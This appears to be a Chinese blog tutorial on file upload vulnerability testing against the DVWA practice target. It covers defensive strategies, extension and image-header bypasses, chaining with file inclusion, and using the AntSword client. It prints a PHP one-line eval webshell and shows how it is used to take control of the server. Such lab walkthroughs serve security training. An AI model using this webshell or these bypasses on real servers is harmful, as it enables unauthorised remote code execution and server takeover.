3、文件上传漏洞测试

1.环境准备

本次测试,需要准备三项内容:BurpSuite、靶机环境和webshell工具(蚁剑)。

1.1.PC端设置BurpSuite设置代理

打开BurpSuite>proxy>options,开启本地代理
设置代理
导出CA证书,打开BurpSuite>proxy>options,点击Import/export CA certificate,导出证书到本地。
安装导出的证书到本地计算机,安装方法不再详述。

1.2.靶机环境

DVWA是著名的OWASP开放出来的一个在线web安全教、学平台。提供了:暴力破解、命令执行、CSRF、文件包含、SQL注入、XSS学习环境,并且分:low、medium、high三种不同的安全等级,等级越高难度也越大。同时每一个漏洞可以直接在页面选择查看源码进行源码对比学习。

使用dvwa靶机环境,可以自行搭建也可以使用在线懒人版。

下载地址:https://github.com/ethicalhack3r/DVWA/archive/master.zip
懒人版:https://www.vsplate.com/labs.php
使用phpstudy或xampp自行搭建即可,详细搭建过程在此不详述!

1.3.Webshell工具-蚁剑

蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

通俗的讲:蚁剑是一款比菜刀还牛的shell控制端软件。

1.3.1.蚁剑下载

下载地址:https://github.com/AntSwordProject/

注意:我们下载的时候需要下载两个部分,一个是项目源码”antSword“,另一个是加载器;加载器分为三个版本:Mac、Windows、Linux,请根据需要自行选择下载。

1.3.2.蚁剑安装

在此以Windows版本64位来示例。
(1)我们解压“AntSword-Loader-v4.0.3-win32-x64.zip”后,双击“AntSword.exe”;第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹。
注意:这个项目文件夹就是你以后需要备份的,存储着你的shell和shell内的资料。

(2)等初始化完成后,再双击“AntSword.exe”即可正常启动!启动后的蚁剑如下图。
蚁剑界面

2.文件上传漏洞

2.1.漏洞简介

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。文件上传漏洞危害非常严重,一旦被黑客成功利用,可能导致网站被控制、数据库被链接、系统瘫痪、系统被投毒、同服务器的其他网站沦陷等等极其严重的后果。

2.2.常见应对策略

2.2.1.客户端校验文件扩展

通过浏览器或客户端校验上传文件的扩展名,拒绝上传不允许的扩展文件。
优点:可以避免最傻瓜的木马文件(扩展名未修改)上传操作。
缺点:可以通过修改文件扩展名并拦截修改文件名的方式,绕过前端校验。

2.2.2.后端校验文件格式

后端校验客户端上传的文件的内容格式。
优点:可以避免部分场景下的木马文件上传操作。
缺点:如果使用了不安全的文件内容格式验证方式,可以通过注入文件头、图片注入等方式绕过检测。

2.2.3.后端去除、修改文件扩展名

后端将客户端上传的文件去除或修改扩展名后再保存。
优点:可以杜绝部分场景下的漏洞利用,因为删除、修改后的文件扩展名一般不可被服务器当做脚本执行。
缺点:(1)去除文件扩展名的方法,如果去除不完整,可以被绕过。如:仅仅去除一次扩展名的方式,可以通过双写绕过。(2)修改文件扩展名后,只要木马文件内容没有改变,仍旧可能被黑客通过其他方法利用。

2.2.4.后端校验文件名

后端校验客户端上传的文件名称,拒绝文件名称中包含php、jsp、html等的文件。
优点:用于避免文件后缀名绕过,可以避免文件被当做shell脚本执行。
缺点:木马文件上传成功后,可以通过与文件包含漏洞配合执行脚本。

2.2.5.后端重命名文件

后台接受文件后,将文件重命名为一个随机生成的文件名再保存。
优点:通过随机重命名文件,可以让黑客无法找到自己上传的木马文件的存储名称。
缺点:只适用于部分无需在前台展示的场景,如果该文件需要在前台展示,则该方法无效。

2.2.6.按照格式标准重建文件

后台接受文件后,按照文件格式标准读取并重建一个文件,如果上传的文件非法则删除文件并返回错误。
优点:使用严格的文件格式标准对文件内容进行验证,可以避免文件中嵌入恶意代码。
缺点:无法保证当前使用的文件内容验证方法不存在其他漏洞,不能保证绝对安全。

2.2.7.将文件存放在指定的路径

后台接受文件后,将之存放在网络服务器没有执行权限的路径中。
优点:即使黑客找到了自己上传的木马,仍旧无法执行。
缺点:木马文件上传成功,无法保证系统不存在其他漏洞被黑客关联利用。

2.2.8.多种策略混合使用

将前台文件扩展校验与后台格式校验、文件重命名、存放在指定路径,多种方法共同使用,以尽可能避免文件上传漏洞带来的危害。
优点:具有多种方法的优点。
缺点:实现复杂。

3.文件上传漏洞测试

访问dvwa靶机环境,重置数据库,成功后点击login跳转到登陆页面。
使用chrome打开DVWA登陆页,使用初始密码登录。

在攻击过程中,由于使用了本地代理,可能会被本地杀毒软件检测到攻击行为,浏览器会被禁止联网。
浏览器被禁止联网
此时,可以尝试关闭杀毒软件或使用虚拟机中系统中的代理软件进行测试。

3.1.无防护(Low)

修改DVWA靶机的安全级别为LOW,选择webshell文件,上传。
low级别上传成功
根据返回的文件路径,拼接URL得到:http:/xx.xx.xx.xx/dvwa/hackable/uploads/webshell.php,访问。
webshell执行成功
根据访问结果可知,webshell脚本成功执行,攻击成功,目标系统存在文件上传漏洞。

3.2.前台校验文件扩展名(Medium)

修改DVWA靶机的安全级别为Medium。
打开BurpSuite,配置代理,设置为拦截,并在PC的internet选项中配置使用的代理。修改文件名称为webshell.jpg,选择上传文件。检查BurpSuite抓包抓到的报文,
上传文件报文
修改文件扩展名为php,点击forward发送报文,关闭报文拦截。检查浏览器页面,可知木马文件上传成功,
上传成功
使用拼接的方法生成URL并访问。
webshell被执行
上传的木马脚本被正常执行,攻击成功。存在文件上传漏洞。

3.3.后台校验文件大小格式(High)

修改DVWA靶机的安全级别为High。该级别下,通过分析源代码可知,后台校验了文件后缀,并使用了getimagesize()函数读取图片文件的大小对上传的文件进行格式验证。

3.3.1.上传文件

在此,可以通过在shell脚本中注入文件头的方式绕过getimagesize()函数对图片文件格式的检测。
首先修改webshell文件内容,注入用于绕过图片检测的文件头GIF98,文件另存为:webshellGIF98.jpg。如下图所示。
注入文件头绕过
打开文件上传漏洞页面,选择修改后的文件,点击上传。
上传成功
观察页面可知,webshell脚本上传成功。按照先前的方法,拼接URL路径并访问,
webshell文件执行失败
在此由于文件后缀为.jpg,服务器在执行文件时将其视作图片文件,前台看到的浏览器执行了加载图片的操作,并没有执行webshell脚本。
在此,如果系统存在文件包含漏洞,可以通过利用文件包含漏洞来执行上传成功的webshell脚本。

3.3.2.利用文件包含漏洞执行脚本

Webshell文件上传成功后,修改DVWA等级为Low,点击文件包含打开文件包含漏洞页面。
文件包含漏洞LOW
由于此处存在文件包含漏洞,观察文件包含路径,修改URL将页面指向上传后的到webshell文件。
文件包含路径:
http://xx.xx.xx.xx/dvwa/vulnerabilities/fi/?page=include.php
修改后的路径:
http://xx.xx.xx.xx/dvwa/vulnerabilities/fi/?page=…/…/hackable/uploads/webshellGIF98.jpg
在浏览器中访问修改后的路径,
利用文件包含漏洞执行上传成功的webshell脚本
由页面响应可知,webshell脚本成功执行,系统存在文件上传漏洞。

4.使用蚁剑攻击服务器

在此仅仅对DVWA靶机已经成功上传文件后,使用蚁剑对服务器进行攻击示例。
以上已经介绍过,在不同安全级别下上传webshell脚本,在此上传木马文件的过程不再进行详细介绍。

4.1.一句话木马

在以上的测试过程中,咱们讲解中上传的文件都是一个可执行的php的webshell文件。这个webshell文件执行后即可通过前台页面对服务器上的文件进行上传、下载、删除、修改等操作。上传的那个webshell文件可以称为是一个木马。

一句话木马,是将类似的webshell木马文件精简到不能再精简的木马文件。下面以php的一句话木马为例仅介绍。

4.1.1.示例分析

使用菜刀时常用的PHP的一句话木马:

<?php @eval($_POST['pass']) ?>

分析可知,一句话至少包含两个方法:

①命令获取,即从客户端到服务器的请求中获取需要执行的脚本命令。
在此,$_POST[‘pass’]即为从请求中的pass参数中获取黑客要执行的命令。

②命令执行,即使用服务器执行客户端发送的请求中包含的命令。
在此,eval()函数表示括号内的语句字符串什么的全都当做代码执行;@表示,即使执行错误,也不报错,避免服务器发现。

4.2.蚁剑使用

DVWA是使用php的一个靶机系统,在此使用上面介绍的一句话木马文件,对靶机系统进行攻击。

4.2.1.添加服务器

将一句木马写入文件,保存为caidao.php,并上传到服务器中。
上传菜刀一句话木马
进行URL拼接,可以得到木马的访问路径为:
http://xx.xx.xx.xx/dvwa/hackable/uploads/caidao.php
打开蚁剑>右键>添加数据,
蚁剑添加数据
在URL地址中填入拼接后得到的木马访问路径,在链接密码中填入一句话木马中的变量名,选择链接类型为PHP,点击添加。添加成功后,添加的数据展示在数据管理列表中。
添加成功

4.2.2.打开服务器

双击蚁剑数据管理列表中的数据,链接服务器。
蚁剑打开服务器
连接服务器成功后,自动打开了一个文件管理页面,默认展开一句话木马所在文件路径。
选择文件,点击右键,
选中文件点击右键
可以看到一些对目标服务器的操作命令:WGET文件下载、文件上传、下载、复制文件、粘贴文件、编辑文件、删除文件、重命名文件…。

在此尝试打开终端,执行常用命令:
执行命令
命令执行成功,服务器尽归你所有,请开始你的表演!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值